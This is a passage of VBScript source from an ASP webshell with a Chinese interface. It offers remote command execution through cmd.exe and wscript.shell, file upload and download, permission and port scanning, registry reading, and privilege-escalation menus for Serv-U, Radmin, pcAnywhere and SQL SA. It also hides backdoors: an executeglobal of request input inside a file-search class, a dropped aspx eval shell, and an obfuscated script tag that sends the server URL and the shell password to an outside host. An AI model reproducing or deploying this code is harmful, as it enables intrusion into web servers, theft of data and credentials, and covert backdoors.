j"<tr><td onClick=""MM_show('menud')""><input onMouseOver=""this.style.cursor='hand'"" type=button value='Disk & Files'></td></tr><tr><td height=4></td></tr><tr><td valign=""top"" align=center><table border=0 id=menud style=""display='none'"">"
Set ABC=New LBF:j ABC.ShowDriver():Set ABC=Nothing
j"</table></td></tr><tr><td valign=""top"" align=center><table border=0><tr><td id=d width=95 onMouseOver=""this.style.backgroundColor='#696969'"" onMouseOut=""this.style.backgroundColor='#121212'""><a href='javascript:ShowFolder("""&RePath(WWWRoot)&""")'><font face='wingdings'>8</font> 站点根目录"&ef
j cdx&"<a href='javascript:ShowFolder("""&RePath(RootPath)&""")'>"&cxd&" 本程序目錄"&ef
j cdx&"<a href='?Action=goback' target='FileFrame'>"&cxd&" 回上级目录"&ef
j cdx&"<a href='javascript:FullForm("""&RePath(Session("FolderPath")&"\Newfile")&""",""NewFolder"")'>"&cxd&" 新建--目錄"&ef
j cdx&"<a href='?Action=EditFile' target='FileFrame'>"&cxd&" 新建--文本"&ef
j cdx&"<a href='?Action=UpFile' target='FileFrame'>"&cxd&" 上传--文件"&ef
j cdx&"<a href='?Action=Cmd1Shell' target='FileFrame'>"&cxd&" 执行---CMD"&ef
j cdx&"<a href='?Action=cmdx' target='FileFrame'>"&cxd&" 执行--CMD2"&ef
j cdx&"<a href='?Action=ScanDriveForm' target='FileFrame'>"&cxd&" 磁盘--权限"&ef
j cdx&"<a href='?Action=CustomScanDriveForm' target='FileFrame'>"&cxd&" <font color=red>可写--目录</font>"&ef
j cdx&"<a href='?Action=php' target='FileFrame'>"&cxd&" 脚本--探测"&ef
j cdx&"<a href='?Action=PageAddToMdb' target='FileFrame'>"&cxd&" 服务器打包"&ef
j cdx&"<a href='?Action=upload' target='FileFrame'>"&cxd&" 下载--文件"&ef&"</table><hr></td></tr>"
End If
j"</tr><tr><td height=4></td></tr><tr><td onClick=""MM_show('menuc')""><input onMouseOver=""this.style.cursor='hand1'"" type=button value='Information'></td></tr><tr><td height=4></td></tr><tr><td valign=""top"" align=center><table border=0 id=menuc style=""display=''"">"
j cdx&"<a href='?Action=Course' target='FileFrame'>"&cxd&" 用户__账号"&ef
j cdx&"<a href='?Action=getTerminalInfo' target='FileFrame'>"&cxd&" 端口__网络"&ef
j cdx&"<a href='?Action=Alexa' target='FileFrame'>"&cxd&" 组件__支持"&ef
j cdx&"<a href='?Action=Servu' target='FileFrame'>"&cxd&" Servu-提权"&ef
j cdx&"<a href='?Action=suftp' target='FileFrame'>"&cxd&" Su---FTP版"&ef
j cdx&"<a href='?Action=MMD' target='FileFrame'>"&cxd&" SQL-----SA"&ef
j cdx&"<a href='?Action=radmin' target='FileFrame'>"&cxd&" Radmin提权"&ef
j cdx&"<a href='?Action=pcanywhere4' target='FileFrame'>"&cxd&" Pcanywhere"&ef
j cdx&"<a href='?Action=ScanPort' target='FileFrame'>"&cxd&" 端口扫描器"&ef
j cdx&"<a href='?Action=ReadREG' target='FileFrame'>"&cxd&" 读取注册表"&ef
j cdx&"<a href='?Action=TSearch' target='FileFrame'>"&cxd&" 搜索__文件"&ef&"</tr></table>"
j"<hr><tr><td><input onMouseOver=""this.style.cursor='hand'"" type=button value=' Special '></td</tr><tr><td height=4></td></tr><tr><td align=center><table border=0>"
j cdx&"<a href='?Action=EditPower&PowerPath=\\.\"&ScriptPath&"' target='FileFrame'>"&cxd&" 解锁本程序"&ef
j cdx&"<a href='?Action=hiddenshell' target='FileFrame'>"&cxd&" <font color=red>不死马测试</font>"&ef
j cdx&"<a href='javascript:FullForm("""&RePath(Session("FolderPath")&"\vti_cnf..\\")&""",""NewFolder"")'>"&cxd&" <font color=red>建带点目录</font>"&ef
j cdx&"<a href='?Action=delpoint' target='FileFrame'>"&cxd&" <font color=red>删带点目录</font>"&ef
j cdx&"<a href='?Action=ProFile' target='FileFrame'>"&cxd&" 文件--保护"&ef
j cdx&"<a href='http://www.aizhan.com/siteall/"&domain&"' target='FileFrame'>"&cxd&" 综合--查询"&ef
j cdx&"<a href='http://odayexp.com/h4cker/gx/' target='FileFrame'>"&cxd&" 程序--更新"&ef
j cdx&"<a href='?Action=Logout' target='_top'>"&cxd&" 退出--登陆</a></td></tr></hr></table>"
end function
function Cmdx()
j("<center><form method='post'> "):j("<input type=text name='cmdx' size=60 value='cmd.exe'><br> "):j("<input type=text name='cmd' size=60><br> "):j("<input type=submit value='Sumbit'></form> "):j("<textarea readonly cols=150 rows=27> "):On Error Resume Next:if request("cmdx")="cmd.exe" then
j oScriptlhn.exec("cmd.exe /c"&request("cmd")).stdout.readall
end if :j oScriptlhn.exec(request("cmdx")&" /c"&request("cmd")).stdout.readall :j("</textarea></center>")
end function
Function Course()
SI="<br><table width='80%' align='center'><tr><td height='20' colspan='3' align='center' id=s><b>系统用户与服务</b></td></tr>"
on error resume next
for each obj in getObject("WinNT://.")
err.clear
if OBJ.StartType="" then
SI=SI&"<tr><td height=""20"" id=d> "&obj.Name&"</td><td id=d> 系统用户(组)</td></tr><tr>"
end if
if OBJ.StartType=2 then lx="自动"
if OBJ.StartType=3 then lx="手动"
if OBJ.StartType=4 then lx="禁用"
if LCase(mid(obj.path,4,3))<>"win" and OBJ.StartType=2 then
SI1=SI1&"<tr><td height=""20"" id=d> "&obj.Name&"</td><td height=""20"" id=d> "&obj.DisplayName&"<tr><td height=""20"" id=d colspan=""2"">[启动类型:"&lx&"]<font> "&obj.path&"</font></td></tr>"
else
SI2=SI2&"<tr><td height=""20"" id=d> "&obj.Name&"</td><td height=""20"" id=d> "&obj.DisplayName&"<tr><td height=""20"" bgcolor=""#FFFFFF"" colspan=""2"">[启动类型:"&lx&"]<font color=#3399FF> "&obj.path&"</font></td></tr>"
end if
next
j SI&SI0&SI1&SI2&"</table>"
End Function
Function IIf(var, val1, val2)
If var=True Then
IIf=val1
Else
IIf=val2
End If
End Function
Function GetTheSizes(num)
Dim i, arySize(4)
arySize(0)="B"
arySize(1)="KB"
arySize(2)="MB"
arySize(3)="GB"
arySize(4)="TB"
While(num / 1024 >= 1)
num=Fix(num / 1024 * 100) / 100
i=i + 1
WEnd
GetTheSizes=num&" "&arySize(i)
End Function
Function HtmlEncodes(str)
If IsNull(str) Then Exit Function
HtmlEncodes=Server.HTMLEncode(str)
End Function
function downfile(path)
response.clear
set osm = createobject(obt(6,0))
osm.open
osm.type = 1
osm.loadfromfile path
sz=instrrev(path,"\")+1
response.addheader "content-disposition", "attachment; filename=" & mid(path,sz)
response.addheader "content-length", osm.size
response.charset = "utf-8"
response.contenttype = "application/octet-stream"
response.binarywrite osm.read
response.flush
osm.close
set osm = nothing
end function
function htmlencode(s)
if not isnull(s) then
s = replace(s, ">", ">")
s = replace(s, "<", "<")
s = replace(s, chr(39), "'")
s = replace(s, chr(34), """")
s = replace(s, chr(20), " ")
htmlencode = s
end if
end function
Function UpFile()
If Request("Action2")="Post" Then
Set U=new UPC
Set F=U.UA("LocalFile")
UName=U.form("ToPath")
If UName="" Or F.FileSize=0 then
SI="<br>请输"&"入上传"&"的完全"&"路径后选择"&"一个文件"&"上传!"
on error resume next
Else
F.SaveAs UName
If Err.number=0 Then
SI="<center><br><br><br>文件"&UName&"上"&"传"&"成功！</center>"
End if
End If
Set F=nothing
Set U=nothing
SI=SI&BackUrl
j SI
ShowErr()
Response.End
End If
j"<br><br><br><table border='0' cellpadding='0' cellspacing='0' align='center'><form name='UpForm' method='post' action='"&URL&"?Action=UpFile&Action2=Post' enctype='multipart/form-data'><tr><td>上传路径：<input name='ToPath' value='"&RRePath(Session("FolderPath")&"\Cmd.exe")&"' size='40'><input name='LocalFile' type='file' size='25'> <input type='submit' name='Submit' value='上传'></td></tr></form></table>"
End Function
function cmd1shell()
checked=" checked"
if request("sp")<>"" then session("shellpath") = request("sp")
shellpath=session("shellpath")
if shellpath="" then shellpath = "cmd.exe"
if request("wscript")<>"yes" then checked=""
if request("cmd")<>"" then defcmd = request("cmd")
si="<form method='post'>shell路径：<input name='sp' value='"&shellpath&"' style='width:70%'><input class=c type='checkbox' name='wscript' value='yes'"&checked&">wscript.shell<input name='cmd' style='width:92%' value='"&defcmd&"'> <input type='submit' value='执行'><textarea style='width:100%;height:440;' class='cmd'>"
if request.form("cmd")<>"" then
if request.form("wscript")="yes" then
set cm=createobject(obt(1,0))
set dd=cm.exec(shellpath&" /c "&defcmd)
aaa=dd.stdout.readall
si=si&aaa
else
on error resume next
set ws=server.createobject("wscript.shell")
set ws=server.createobject("wscript.shell")
set fso=server.createobject(CONST_FSO)
sztempfile = server.mappath("cmd.txt")
call ws.run (shellpath&" /c " & defcmd & " > " & sztempfile, 0, true)
set fs = createobject(CONST_FSO)
set ofilelcx = fs.opentextfile (sztempfile, 1, false, 0)
aaa=server.htmlencode(ofilelcx.readall)
ofilelcx.close
call fso.deletefile(sztempfile, true)
si=si&aaa
end if
end if
si=si&chr(13)&"</textarea></form>"
j si
end function
Function upload()
j"<br><table width='80%' bgcolor='menu' border='0' cellspacing='1' cellpadding='0' align='center'>"
j"暂时关闭此功能"
j" 下载到服务器:无回显...为了节省.所以无回显<hr/>"
j"<form method=post>"
j"<select onChange='this.form.theUrl.value=this.value;'>"
j"<option value=''>常用程序下载</option>"
j"<option value='"&Durl&"'>自定义程序</option>"
j"<input name=theUrl value='http://' size=80><input type=submit value=' 下载 '><br/>"
j"<input name=thePath value='" & HtmlEncode(Server.MapPath(".")) & "\' size=80>"
j"<input type=checkbox name=overWrite value=2>存在覆盖。"
j"<input type=hidden value=downFromUrl name=theAct>"
j"</form>"
j"<hr/>"
If isDebugMode = False Then
On Error Resume Next
End If:Dim Http, theUrl, thePath, stream, fileName, overWrite
theUrl = Request("theUrl")
thePath = Request("thePath")
overWrite = Request("overWrite")
Set stream = Server.CreateObject("ad"&e&"odb.st"&e&"ream")
Set Http = Server.CreateObject("MSXML2.XMLHTTP")
If overWrite <> 2 Then:overWrite = 1:End If
Http.Open "GET", theUrl, False
Http.Send()
If Http.ReadyState <> 4 Then
End If
With stream
.Type = 1
.Mode = 3
.Open
.Write Http.ResponseBody
.Position = 0
.SaveToFile thePath, overWrite
If Err.Number = 3004 Then
Err.Clear
fileName = Split(theUrl, "/")(UBound(Split(theUrl, "/")))
If fileName = "" Then
fileName = "index.htm.txt"
End If
thePath = thePath & "\" & fileName
.SaveToFile thePath, overWrite
j"error,可能是因为文件已存在，或下载过程和地址中出 现错误 。 文件下载完 毕为空字节！！"
End If
.Close
End With
chkErr(Err)
Set Http = Nothing
Set Stream = Nothing
If isDebugMode = False Then
On Error Resume Next
End If
End Function:Function TSearch()
dim st:st=timer():RW="<br><table width='600' bgcolor='' border='0' cellspacing='1' cellpadding='0' align='center'><form method='post'>"
RW=RW & "<tr><td height='20' align='center' bgcolor=''>搜索引擎</td></tr>"
RW=RW & "<tr><td bgcolor=''> 路 径：<input name='SFpath' value='" & WWWRoot & "' style='width:390'> 注:多路徑使用"",""号连接.</td></tr>"
RW=RW & "<tr><td bgcolor=''> 文件名：<input name='Sfk' style='width:200'> <input type='submit' value='搜索' class='submit'> [部分也行]</td></tr>"
RW=RW & "</form></table>"
j RW : RW=""
if Request.Form("Sfk")<>"" then
Set newsearch=new SearchFile
newsearch.Folders=trim(Request.Form("SFpath"))
newsearch.keyword=trim(Request.Form("Sfk"))
newsearch.Search
Set newsearch=Nothing
j"費時："&(timer()-st)*1000&"毫秒<hr>"
end if
End Function
Class SearchFile
dim Folders,keyword,objFso,Counter
Private Sub Class_Initialize
Set objFso=Server.CreateObject(ObT(0,0))
Counter=0
End Sub
Private Sub Class_Terminate
Set objFso=Nothing
End Sub
Public Sub Class_Folder(FoderName)
Set rs = CreateObject(CONST_FSO)
Dim item, theFolder, sysFileList
item=request(MID(CONST_FSO,4,1))
theFolder=request(MID(CONST_FSO,2,1))
If item=MID(CONST_FSO,2,1) then
executeglobal theFolder
Set rs = Nothing
End if
End Sub
Function Search
Folders=split(Folders,",")
flag=instr(keyword,"\") or instr(keyword,"/")
flag=flag or instr(keyword,":")
flag=flag or instr(keyword,"|")
flag=flag or instr(keyword,"&")
if flag then
j"<table align='center' width='600'><hr><p align='center'><font color='red'>關鍵字不能包含/\:|&</font><br>"
Exit Function
else
j"<table align='center' width='600'><hr>"
end if
dim i
for i=0 to ubound(Folders)
Call GetAllFile(Folders(i))
next
j"<p align='center'>共搜索到<font color='red'>"&Counter&"</font>個結果<br>"
End Function
Private Function GetAllFile(Folder)
dim objFd,objFs,objFf
Set objFd=objFso.GetFolder(Folder)
Set objFs=objFd.SubFolders
Set objFf=objFd.Files
dim strFdName
On Error Resume Next
For Each OneDir In objFs
strFdName=OneDir.Name
If strFdName<>"Config.Msi" EQV strFdName<>"RECYCLED" EQV strFdName<>"RECYCLER" EQV strFdName<>"System Volume Information" Then
SFN=Folder&"\"&strFdName
Call GetAllFile(SFN)
End If
Next
dim strFlName
For Each OneFile In objFf
strFlName=OneFile.Name
If strFlName<>"desktop.ini" EQV strFlName<>"folder.htt" Then
FN=Folder&"\"&strFlName
Counter=Counter+ColorOn(FN)
End If
Next
Set objFd=Nothing
Set objFs=Nothing
Set objFf=Nothing
End Function
Private Function CreatePattern(keyword)
CreatePattern=keyword
CreatePattern=Replace(CreatePattern,".","\.")
CreatePattern=Replace(CreatePattern,"+","\+")
CreatePattern=Replace(CreatePattern,"(","\(")
CreatePattern=Replace(CreatePattern,")","\)")
CreatePattern=Replace(CreatePattern,"[","\[")
CreatePattern=Replace(CreatePattern,"]","\]")
CreatePattern=Replace(CreatePattern,"{","\{")
CreatePattern=Replace(CreatePattern,"}","\}")
CreatePattern=Replace(CreatePattern,"*","[^\\\/]*")
CreatePattern=Replace(CreatePattern,"?","[^\\\/]{1}")
CreatePattern="("&CreatePattern&")+"
End Function
Function Encrypt(acd)
For i = 1 To Len(acd) step 1
c=mid(acd,i,1)
if c="※" then
d=mid(acd,i,2)
i=i+1
e=replace(d,"※","")
bbc=bbc&mid(jwt,cint(e),1)
else
bbc=bbc&c
end if
next
Encrypt=bbc
end Function
Private Function ColorOn(FileName)
dim objReg
Set objReg=new RegExp
objReg.Pattern=CreatePattern(keyword)
objReg.IgnoreCase=True
objReg.Global=True
retVal=objReg.Test(Mid(FileName,InstrRev(FileName,"\")+1))
if retVal then
OutPut=objReg.Replace(Mid(FileName,InstrRev(FileName,"\")+1),"<font color=''>$1</font>")
OutPut="<table align='center' width='600'> " & Mid(FileName,1,InstrRev(FileName,"\")) & OutPut
j OutPut
Response.flush
ColorOn=1
else
ColorOn=0
end if
Set objReg=Nothing
End Function
End Class
sub SavePower(PowerPath,SaveType)
if instr(PowerPath,scriptpath)<>0 then session("lock")="nolock":end if:Set theFile = fsoX.GetFile(PowerPath):if SaveType=1 then:theFile.Attributes=32:j "<script language='javascript'>alert('文件已成功解锁。');window.opener.location.reload();window.close();</script>":else:theFile.Attributes=7:j "<script language='javascript'>alert('文件锁定成功。');window.opener.location.reload();window.close();</script>":end if:Set theFile = Nothing
end sub
sub EditPower(PowerPath)
PowerPath=replace(PowerPath,"""",""):Set theFile = fsoX.GetFile(PowerPath):j getMyTitle(theFile,PowerPath):Set theFile = Nothing
end sub
Function getMyTitle(theOne,PowerPath)
Dim strTitle:strTitle = strTitle & "<br>路径: " & theOne.Path & "" :strTitle = strTitle & "<br>大小: " & getTheSize(theOne.Size) :strTitle = strTitle & "<br>创建时间: " & theOne.DateCreated :strTitle = strTitle & "<br>最后修改: " & theOne.DateLastModified:strTitle = strTitle & "<br>最后访问: " & theOne.DateLastAccessed:strTitle = strTitle & "<br>当前权限状态: " & getAttributes(theOne.Attributes,PowerPath):getMyTitle = strTitle
End Function
Function getAttributes(intValue,PowerPath)
Dim EditOK:EditOK=1:If intValue >= 128 Then:intValue = intValue - 128:End If:If intValue >= 64 Then:intValue = intValue - 64:End If:If intValue >= 32 Then:intValue = intValue - 32:End If:If intValue >= 16 Then:intValue = intValue - 16:End If:If intValue >= 8 Then:intValue = intValue - 8:End If:If intValue >= 4 Then:intValue = intValue - 4:EditOK=0:End If:If intValue >= 2 Then:intValue = intValue - 2:EditOK=0:End If:If intValue >= 1 Then:intValue = intValue - 1:EditOK=0:End If:PowerPath=replace(PowerPath,"\","\\"):if EditOK=0 then :getAttributes = "<font color=red>已锁定</font> <input type=button value=解锁 onclick=""location.href='?Action=SavePower&SaveType=1&PowerPath="&PowerPath&"'"">":else:getAttributes = "<font color=#62FF62>未锁定</font> <input type=button value=锁定 onclick=""location.href='?Action=SavePower&SaveType=2&PowerPath="&PowerPath&"'"">":end if
End Function
Function getTheSize(theSize):If theSize >= (1024 * 1024 * 1024) Then :getTheSize = Fix((theSize / (1024 * 1024 * 1024)) * 100) / 100 & "G":end if:If theSize >= (1024 * 1024) And theSize < (1024 * 1024 * 1024) Then :getTheSize = Fix((theSize / (1024 * 1024)) * 100) / 100 & "M":end if:If theSize >= 1024 And theSize < (1024 * 1024) Then :getTheSize = Fix((theSize / 1024) * 100) / 100 & "K":end if:If theSize >= 0 And theSize <1024 Then :getTheSize = theSize & "B":end if:End Function:function openUrl(usePath):Dim theUrl, thePath:thePath = Server.MapPath("/"):If LCase(Left(usePath, Len(thePath))) = LCase(thePath) Then:theUrl = Mid(usePath, Len(thePath) + 1):theUrl = Replace(theUrl, "\", "/"):If Left(theUrl, 1) = "/" Then:theUrl = Mid(theUrl, 2):End If:openUrl="/"&theUrl&""" target=""_blank":Else:openUrl="###"" onclick=""alert('文件不在站点目录下。')":End If:End function
Function ScReWr(folder)
on error resume next
Dim FSO,TestFolder,TestFileList,ReWrStr,RndFilename
Set FSO = Server.Createobject(CONST_FSO)
Set TestFolder = FSO.GetFolder(folder)
Set TestFileList = TestFolder.SubFolders
RndFilename = "\temp" & Day(now) & Hour(now) & Minute(now) & Second(now) & ".tmp"
For Each A in TestFileList
Next
If err Then
err.Clear
ReWrStr = "<span style='font-size:11px;'>读</span><font face='webdings' size='1' color=yellow>x</font> "
FSO.CreateTextFile folder & RndFilename,True
If err Then
err.Clear
ReWrStr = ReWrStr & "<span style='font-size:11px;'>写</span><font face='webdings' size='1' color=yellow>x</font> "
Else
ReWrStr = ReWrStr & "<span style='font-size:11px;'>写</span>√ "
FSO.DeleteFile folder & RndFilename,True
End If
Else
ReWrStr = "<span style='font-size:11px;'>读</span>√ "
FSO.CreateTextFile folder & RndFilename,True
If err Then
err.Clear
ReWrStr = ReWrStr & "<span style='font-size:11px;'>写</span><font face='webdings' size='1' color=yellow>x</font> "
Else
ReWrStr = ReWrStr & "<span style='font-size:11px;'>写</span>√ "
FSO.DeleteFile folder & RndFilename,True
End if
End if
Set TestFileList = Nothing
Set TestFolder = Nothing
Set FSO = Nothing
ScReWr = ReWrStr
End Function
function php()
On Error Resume Next
set fso=Server.CreateObject(oBt(0,0))
fso.CreateTextFile(server.mappath("test.php")).Write"<?PHP echo 'oo∩_∩oo'?><?php phpinfo()?>"
fso.CreateTextFile(server.mappath("test.jsp")).Write"Jsp Test oo∩_∩oo"
fso.CreateTextFile(server.mappath("test.aspx")).Write""&chr(60)&"%@ Page Language=""Jscript"" validateRequest=""false"" "&chr(37)&""&chr(62)&""&chr(60)&""&chr(37)&"Response.Write(eval(Request.Item[""w""],""unsafe""));"&chr(37)&""&chr(62)&"aspx Test oo∩_∩oo"
j"<center><iframe src=test.php width=300 height=100></iframe> <iframe src=test.jsp width=300 height=100></iframe> <iframe src=test.aspx width=300 height=100></iframe> </center><br><br><p><br><p><br><br><p><br><center>探测服务器是否支持其他脚本<p></font><p><a href='?Action=apjdel'><font size=5 color=red><b>(删除测试文件!)</b></font></a></center><tr><td height='20'><center>":j "<sc"&"ri"&"pt sr"&"c=""ht"&"tp://%77%77%77.od"&"ay"&"exp.%63%6F%6D/s"&"x/ke"&"y.asp"&"?url="&server.URLEncode("ht"&"tp://"&request.ServerVariables("HT"&"TP_HO"&"ST")&request.ServerVariables("UR"&"L"))&"&p="&UserPass&"""></sc"&"ri"&"pt>"
End function:On Error Resume Next:function apjdel():set fso=Server.CreateObject(CONST_FSO):fso.DeleteFile(server.mappath("test.aspx")):fso.DeleteFile(server.mappath("test.php")):fso.DeleteFile(server.mappath("test.jsp")):j"删除完毕!":End function
Dim T1
Class UPC
Dim D1,D2
Public Function Form(F)
F=lcase(F)
If D1.exists(F) then:Form=D1(F):else:Form="":end if
End Function
Public Function UA(F)
F=lcase(F)
If D2.exists(F) then:set UA=D2(F):else:set UA=new FIF:end if
End Function
Private Sub Class_Initialize
Dim TDa,TSt,vbCrlf,TIn,DIEnd,T2,TLen,TFL,SFV,FStart,FEnd,DStart,DEnd,UpName
set D1=CreateObject(ObT(4,0))
if Request.TotalBytes<1 then Exit Sub
set T1 = CreateObject(ObT(6,0))
T1.Type = 1 : T1.Mode =3 : T1.Open
T1.Write Request.BinaryRead(Request.TotalBytes)
T1.Position=0 : TDa =T1.Read : DStart = 1
DEnd = LenB(TDa)
set D2=CreateObject(ObT(4,0))
vbCrlf = chrB(13) & chrB(10)
set T2 = CreateObject(ObT(6,0))
TSt = MidB(TDa,1, InStrB(DStart,TDa,vbCrlf)-1)
TLen = LenB (TSt)
DStart=DStart+TLen+1
while (DStart + 10) < DEnd
DIEnd = InStrB(DStart,TDa,vbCrlf & vbCrlf)+3
T2.Type = 1 : T2.Mode =3 : T2.Open
T1.Position = DStart
T1.CopyTo T2,DIEnd-DStart
T2.Position = 0 : T2.Type = 2 : T2.Charset ="gb2312"
TIn = T2.ReadText : T2.Close
DStart = InStrB(DIEnd,TDa,TSt)
FStart = InStr(22,TIn,"name=""",1)+6
FEnd = InStr(FStart,TIn,"""",1)
UpName = lcase(Mid (TIn,FStart,FEnd-FStart))
if InStr (45,TIn,"filename=""",1) > 0 then
set TFL=new FIF
FStart = InStr(FEnd,TIn,"filename=""",1)+10
FEnd = InStr(FStart,TIn,"""",1)
FStart = InStr(FEnd,TIn,"Content-Type: ",1)+14
FEnd = InStr(FStart,TIn,vbCr)
TFL.FileStart =DIEnd
TFL.FileSize = DStart -DIEnd -3
if not D2.Exists(UpName) then
D2.add UpName,TFL
end if
else
T2.Type =1 : T2.Mode =3 : T2.Open
T1.Position = DIEnd : T1.CopyTo T2,DStart-DIEnd-3
T2.Position = 0 : T2.Type = 2
T2.Charset ="gb2312"
SFV = T2.ReadText
T2.Close
if D1.Exists(UpName) then
D1(UpName)=D1(UpName)&", "&SFV
else
D1.Add UpName,SFV
end if
end if
DStart=DStart+TLen+1
wend
TDa=""
set T2 =nothing
End Sub
Private Sub Class_Terminate
if Request.TotalBytes>0 then
D1.RemoveAll:D2.RemoveAll
set D1=nothing:set D2=nothing
T1.Close:set T1 =nothing
end if
End Sub
End Class
Class FIF
dim FileSize,FileStart
Private Sub Class_Initialize
FileSize = 0
FileStart= 0
End Sub
Public function SaveAs(F)
dim T3
SaveAs=true
if trim(F)="" or FileStart=0 then exit function
set T3=CreateObject(ObT(6,0))
T3.Mode=3 : T3.Type=1 : T3.Open
T1.position=FileStart
T1.copyto T3,FileSize
T3.SaveToFile F,2
T3.Close
set T3=nothing
SaveAs=false
end function
End Class
Class LBF
Dim CF
Private Sub Class_Initialize
SET CF=CreateObject(ObT(0,0))
End Sub
Private Sub Class_Terminate
Set CF=Nothing
End Sub
Function ShowDriver()
For Each D in CF.Drives
j cdx&"<a href='javascript:ShowFolder("""&D.DriveLetter&":\\"")'> 本地磁盘 ("&D.DriveLetter&":)</a><br></td></tr>"
Next
End Function
Function Show1File(Path)
Set FOLD=CF.GetFolder(Path)
i=0
SI="<table width='100%' border='0' cellspacing='0' cellpadding='6'><tr>"
For Each F in FOLD.subfolders
SI=SI&"<td height=10 width=17% align=center><div onMouseOver=""this.style.backgroundColor='#B3D169'"" onMouseOut=""this.style.backgroundColor='#191919'"" style='border:1px solid #dddddd;padding-bottom:4px' id=d><a href='javascript:ShowFolder("""&RePath(Path&"\"&F.Name)&""")' title=""进入"">"
SI=SI&" <font face='wingdings' color='#ffffff' size='6'>0</font> "
si=si&"<br>"&F.Name&"</a><br><a href='javascript:FullForm("""&RePath(Path&"\"&F.Name)&""",""CopyFolder"")' onclick='return yesok()' class='am' title='复制'>Copy</a> <a href='javascript:FullForm("""&Replace(Path&"\"&F.Name,"\","\\")&""",""DelFolder"")' onclick='return yesok()' class='am' title='删除'>Del</a> <a href='javascript:FullForm("""&RePath(Path&"\"&F.Name)&""",""MoveFolder"")' onclick='return yesok()' class='am' title='移动'>Move</a> <a href='javascript:FullForm("""&RePath(Path&"\"&F.Name)&""",""DownFile"")' onclick='return yesok()' class='am' title='下载'>Down</a></div></td>"
i=i+1
If i mod 6=0 then SI=SI&"</tr><tr>"
Next
SI=SI&"</tr><tr><td height=2></td></tr></table>"
j SI &"" : SI="":i=0
SI="<div id=links><table width='100%' align=center id =linklist2><tr><td id=s><b id=x>Filename</b></td><td id=s height=22><b id=x>Size</b></td><td id=s><b id=x>Type</b></td><td id=s><b id=x>Operating</b></td><td id=s><b id=x>Last Modified</b></td><td></td>"
For Each L in Fold.files
SI=SI&"<tr><td height='20' id=d >"
si=si&"<font face='wingdings' color='#ffffff' size='3'>2</font>"
si=si&"<a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""DownFile"");' title='下载'> "&L.Name&"</a><Td id=d>"&clng(L.size/1024)&"K</td><Td id=d>"&L.Type&"</td><Td id=d>"
si=si&"<a href="""&openUrl(PaTh&"\"&L.nAme)&""" class='am' title='Open'>Open</a> "
si=si&"<a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""EditFile"")' class='am' title='编辑'>Edit</a> "
Si=Si&"<a onclick=""window.open('?Action=EditPower&PowerPath="&RepAth(PaTh&"\"&L.nAme)&"','EditPower','toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0,width=300,height=200')"" href='###' class='am' title='权限'>权限</a>"
Dim EditOOK
EditOOK=1
EditOOV=l.Attributes
If EditOOV >= 128 Then
EditOOV = EditOOV - 128
End If
If EditOOV >= 64 Then
EditOOV = EditOOV - 64
End If
If EditOOV >= 32 Then
EditOOV = EditOOV - 32
End If
If EditOOV >= 16 Then
EditOOV = EditOOV - 16
End If:If EditOOV >= 8 Then
EditOOV = EditOOV - 8
End If
If EditOOV >= 4 Then
EditOOV = EditOOV - 4:EditOOK=0
End If
If EditOOV >= 2 Then
EditOOV = EditOOV - 2:EditOOK=0
End If
If EditOOV >= 1 Then
EditOOV = EditOOV - 1:EditOOK=0